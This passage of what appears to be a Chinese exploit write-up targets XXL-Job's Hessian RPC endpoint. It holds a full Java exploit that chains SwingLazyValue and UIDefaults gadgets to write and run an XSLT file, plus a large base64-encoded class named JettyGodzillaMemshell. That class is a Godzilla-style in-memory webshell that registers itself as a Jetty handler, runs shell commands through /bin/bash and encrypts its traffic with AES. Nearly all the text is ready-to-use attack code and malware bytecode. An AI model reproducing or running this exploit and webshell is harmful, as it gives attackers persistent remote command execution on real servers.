uZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQA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GpwAYBr0AOFkDElFTWQQSUlNZBRkFUzoGLAS2AFO7AFRZuABVGQa2AFa2AFe3AFgSWbYAWrYAWzoHGQS5AFwBADoIGQgZB7YAA7YAXRkItgBepwEOLRJGuQBHAgASX7YASZkA/i0qtAAQuQBgAgC4AGE6BSoZBQO2AGI6BSq0AGPHAGS7AGRZA70AZbgAIbYAZrcAZzoGEmgSaQa9ADVZAxI2U1kEsgBqU1kFsgBqU7YAazoHGQcEtgBsKhkHGQYGvQA3WQMZBVNZBAO4AG1TWQUZBb64AG1TtgAzwAA1tQBjpwB+uwBuWbcAbzoGKrQAY7YAOjoHGQcZBrYAcFcZBxkFtgBwVxkHLbYAcFcsBLYAUxkEuQBcAQA6CBkIKrQAFgMQELYAcbYAA7YAXRkHtgByVxkIKhkGtgBzBLYAYrgAdLYAA7YAXRkIKrQAFhAQtgB1tgADtgBdGQi2AF6xpwAFOgWxAAEAAAGtAbEACwADAJEAAACaACYAAACdABAAngAaAJ8AJwCgACoAoQA6AKIAUgCkAGcApgBsAKcAiACoAJEAqQCbAKoAoACsAKMArQCzAK8AwgCwAMsAsQDSALIA5QCzAQMAtAEJALUBMAC2ATMAtwE8ALgBRQC5AU0AugFVALsBXAC8AWEAvQFqAL4BfAC/AYIAwAGXAMEBqADCAa0AwwGuAMcBsQDGAbMAyACSAAAAmAAPACoAdgDOAM8ABgCIABgA0ACKAAcAkQAPANEA0gAIABoAhgDTAIoABQDlAEsA1ADVAAYBAwAtANYA1wAHATwAcgDYANkABgFFAGkA2gCqAAcBagBEANEA0gAIAMIA7ADbAMEABQAAAbQAnACdAAAAAAG0AJUAigABAAABtADcAN0AAgAAAbQA3gDfAAMAAAG0AOAA4QAEAJcAAAAeAAj9AFIHAJgHAOIU+QA4AvwAjwcANvoAekIHAJkBAKYAAAAGAAIA4wDkAAgA5QCbAAEAkAAAAZoABQAGAAAAh7gAdksqtgB3tgB4tgB5wAB6TCu2ACMSe7YAHE0sBLYAHSwrBLgAfLYAfSu2AH5OLb4EYL0AfzoEGQQDuwCAWQS3AIFTAzYFFQUtvqIAFBkEFQUEYC0VBTJThAUBp//rKxkEtgCCpwAhS7sAhFkqtwCFv0u7AIRZKrcAhb9LuwCEWSq3AIW/sQADAAAAZQBoAIMAAABlAHIAhgAAAGUAfACHAAMAkQAAAFIAFAAAADIABAAzABIANAAcADUAIQA2ACoAOAAvADkAOAA6AEQAOwBOADwAWQA7AF8APgBlAEYAaABAAGkAQQByAEIAcwBDAHwARAB9AEUAhgBHAJIAAABcAAkARwAYALAAnwAFAAQAYQDmAOcAAAASAFMA6ADpAAEAHABJAOoAowACAC8ANgDrAOwAAwA4AC0A7QDsAAQAaQAJAL4A7gAAAHMACQC+AO8AAAB9AAkAvgDwAAAAlwAAAC8ABv8ARwAGBwDxBwDyBwC4BwDzBwDzAQAA+gAX/wAIAAAAAQcA9EkHAPVJBwD2CQABAPcAAAACAPg=";

        String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "com.xxl.job.core.JettyGodzillaMemshell");

        SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/aaa.xslt", xslt.getBytes()});

        SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/aaa.xslt"}});


        Object[] keyValueList = new Object[]{"abc", swingLazyValue};

        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};

        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);

        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);

        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);

        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);

        Hashtable<Object, Object> hashtable1 = new Hashtable<>();

        Hashtable<Object, Object> hashtable2 = new Hashtable<>();

        Hashtable<Object, Object> hashtable3 = new Hashtable<>();

        Hashtable<Object, Object> hashtable4 = new Hashtable<>();

        hashtable1.put("a", uiDefaults1);

        hashtable2.put("a", uiDefaults2);

        hashtable3.put("b", uiDefaults3);

        hashtable4.put("b", uiDefaults4);

        Object gettable = hessian_demo_main.gettable(hashtable1, hashtable2, hashtable3, hashtable4);

        HessianSerializer serializer = new HessianSerializer();

//        byte[] data = serializer.serialize(xxlRpcRequest);

        ByteArrayOutputStream os = new ByteArrayOutputStream();

        Hessian2Output ho = new Hessian2Output(os);

        byte[] var5;

        SerializerFactory serializerFactory = ho.getSerializerFactory();

        serializerFactory.setAllowNonSerializable(true);

        ho.setSerializerFactory(serializerFactory);

        ho.writeObject(gettable);

        ho.flush();

        byte[] result = os.toByteArray();

        var5 = result;

        String shellcode = sendPostRequest("http://127.0.0.1:21000/run", var5);

        System.out.println(shellcode);


    }

}

注入内存马需要用的Gadgets我们选用JDK原生那条链子,如下:

package com.example;


import com.caucho.hessian.io.*;

import com.xxl.rpc.serialize.impl.HessianSerializer;

import sun.swing.SwingLazyValue;


import javax.swing.*;

import java.io.*;

import java.net.HttpURLConnection;

import java.net.URL;

import java.util.Hashtable;


public class App {


    public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {

        URL url = new URL(urlString);

        HttpURLConnection connection = (HttpURLConnection) url.openConnection();


        try {

            // 设置请求方法为POST

            connection.setRequestMethod("POST");

            // 允许输入输出

            connection.setDoOutput(true);

            // 设置请求头

            connection.setRequestProperty("Content-Type", "application/octet-stream");  // 根据需要设置Content-Type


            // 写入请求体

            try (OutputStream os = connection.getOutputStream()) {

                os.write(rawData);

                os.flush();

            }


            // 读取响应

            try (InputStream is = connection.getInputStream()) {

                StringBuilder response = new StringBuilder();

                byte[] buffer = new byte[1024];

                int bytesRead;

                while ((bytesRead = is.read(buffer)) != -1) {

                    response.append(new String(buffer, 0, bytesRead, "utf-8"));

                }

                return response.toString();

            }

        } finally {

            connection.disconnect();

        }

    }


    public static void main( String[] args ) throws Exception {

//        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);

//        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);

//        Field f = Unsafe.class.getDeclaredField("theUnsafe");

//        f.setAccessible(true);

//        Object unsafe = f.get(null);

//        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"com.xxl.job.core.EvilCustomizerLoader", bcode, 0, bcode.length, null, null}}};

        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +

                "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +

                "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +

                "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +

                "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +

                ">\n" +

                "    <xsl:template match=\"/\">\n" +

                "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +

                "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +

                "      <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +

                "      <xsl:value-of select=\"$rce\"/>\n" +

                "    </xsl:template>\n" +

                "  </xsl:stylesheet>";


        String base64Code = "yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lz